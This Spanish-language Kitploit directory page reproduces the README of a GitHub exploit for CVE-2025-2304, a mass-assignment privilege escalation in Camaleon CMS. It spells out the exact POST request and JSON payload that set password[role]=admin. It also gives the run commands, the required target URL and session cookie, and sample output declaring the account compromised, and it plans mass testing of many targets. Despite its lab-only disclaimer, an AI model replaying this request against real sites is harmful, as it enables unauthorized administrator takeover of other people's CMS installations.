Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-2304-exploit | Kitploit
Herramientas/GitHubGitHub/jeanback1/cve-2025-2304-exploit
Escalada de PrivilegiosGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubjeanback1/cve-2025-2304-exploit

CVE-2025-2304-exploit

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-2304 - Escalada de Privilegios por Asignación Masiva en Camaleon CMS

📌 Descripción del Proyecto

CVE-2025-2304 es una vulnerabilidad de Asignación Masiva (Mass Assignment) en Camaleon CMS (versiones < 2.9.1) que permite a un usuario autenticado elevar sus privilegios a administrador manipulando el parámetro role en las solicitudes de cambio de contraseña.

Python 3.x License Security Status

🚨 Explicación Técnica de la Vulnerabilidad

Contexto de la Vulnerabilidad

Camaleon CMS usa Ruby on Rails y en la versión 2.9.0 tiene una vulnerabilidad de Asignación Masiva en el controlador UsersController#updated_ajax. El controlador usa .permit! sin restricciones, permitiendo que cualquier parámetro enviado en la solicitud sea asignado directamente al modelo de usuario.

Vector de Ataque

  1. Endpoint vulnerable: POST /admin/users/{user_id}/updated_ajax
  2. Parámetro crítico: password[role] enviado dentro del espacio de nombres password
  3. Mecanismo: El controlador procesa params.require(:password) y luego aplica .permit!, que no filtra ningún parámetro
  4. Resultado: Inyección del valor "admin" en el campo role del usuario

Flujo Técnico

root@kitploit:~
POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded

authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch

El parámetro password[role] es procesado por User.update(permitted_params) y se asigna directamente al registro del usuario debido a .permit!, elevando los privilegios de user a admin.

⚡ Instalación y Uso

Requisitos Previos

root@kitploit:~
# Python 3.6+
python3 --version

# Required libraries
pip install requests

Ejecución del Script

Versión en Inglés:

root@kitploit:~
python3 exploit_cve_2025_2304_en.py

Versión en Español:

root@kitploit:~
python3 exploit_cve_2025_2304.py

Entrada Requerida

El script preguntará de forma interactiva:

  1. URL base del servidor: http(s)://domain:port
  2. ID de usuario: Identificador del usuario atacante
  3. Cookie de sesión: valor de _cms_session (obtenido después del inicio de sesión)
  4. Nueva contraseña: Opcional (por defecto: P@ssw0rd_lab_2025!)

Ejemplo de Comando Completo

root@kitploit:~
python3 exploit_cve_2025_2304_en.py
root@kitploit:~
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456

🔧 Acerca de Este Script

¿Por qué lo construí?

Cuando encontré esta vulnerabilidad, mi primer instinto fue probarla manualmente con Burp Suite — y funcionó. Pero quería ir un paso más allá y convertir ese proceso manual en algo repetible y portable, así que escribí este script. Más allá de explotar el fallo, construirlo me dio la oportunidad de trabajar en algunas cosas que me resultan genuinamente interesantes:

  • Automatizar flujos HTTP de múltiples pasos con manejo de sesiones
  • Parsear tokens CSRF dinámicamente desde respuestas en vivo
  • Lidiar con respuestas JSON/HTML inconsistentes del mismo endpoint
  • Saber exactamente cuándo el exploit tuvo éxito — y cuándo no

No intento reemplazar a Burp o Caido. Esas herramientas son irremplazables para pruebas interactivas. Esto es solo lo que pasa cuando prefiero escribir un script a repetirme.

⚠️ Aviso Legal y Consideraciones Éticas

ADVERTENCIA LEGAL IMPORTANTE

root@kitploit:~
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research

STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security

The author is not responsible for misuse of this tool.

📊 Ejemplos de Capturas de Pantalla

Ejecución Exitosa

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║        CVE-2025-2304 │ Camaleon CMS Mass Assignment          ║
║        Privilege Escalation: user → admin                    ║
║        [LABORATORY / CONTROLLED ENVIRONMENT]                 ║
╚══════════════════════════════════════════════════════════════╝

[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
   User 5 should now have 'admin' role.

Estructura del Payload

root@kitploit:~
{
    "authenticity_token": "abcd1234",
    "password[password]": "P@ssw0rd_lab_2025!",
    "password[password_confirmation]": "P@ssw0rd_lab_2025!",
    "password[role]": "admin",
    "password[id]": "5",
    "_method": "patch"
}

🛠 Hoja de Ruta y Mejoras Futuras

Mejoras Planificadas

  1. Automatización del inicio de sesión: Integración para obtener la sesión automáticamente
  2. Detección de versiones: Script de fingerprinting para confirmar la versión vulnerable
  3. Modo verboso/silencioso para una salida más limpia en pipelines automatizados
  4. Pruebas masivas: Capacidad de probar múltiples usuarios/URLs simultáneamente
  5. Informe generado: Exportar resultados en formato JSON/HTML

Extensibilidad

El código está estructurado modularmente para facilitar:

  • La adaptación a otras vulnerabilidades de Asignación Masiva
  • La integración en frameworks de pentesting
  • Añadir funcionalidades de registro y monitoreo

📚 Referencias y Recursos

  • CVE Oficial: CVE-2025-2304
  • Camaleon CMS: Repositorio Oficial
  • Parche: La versión 2.9.1 corrige el uso de .permit!
  • Documentación de Rails: Strong Parameters

🤝 Contribuciones

Son bienvenidas las contribuciones que:

  1. Mejoren la detección de condiciones de éxito
  2. Añadan funcionalidad manteniendo el enfoque ético
  3. Corrijan errores o mejoren el manejo de errores
  4. Documenten casos de uso adicionales

Recuerda: Este proyecto tiene un propósito exclusivamente educativo y de investigación autorizada.


Última actualización: abril de 2025 | Por Analista de Seguridad (Entorno de Laboratorio)

Descargar herramienta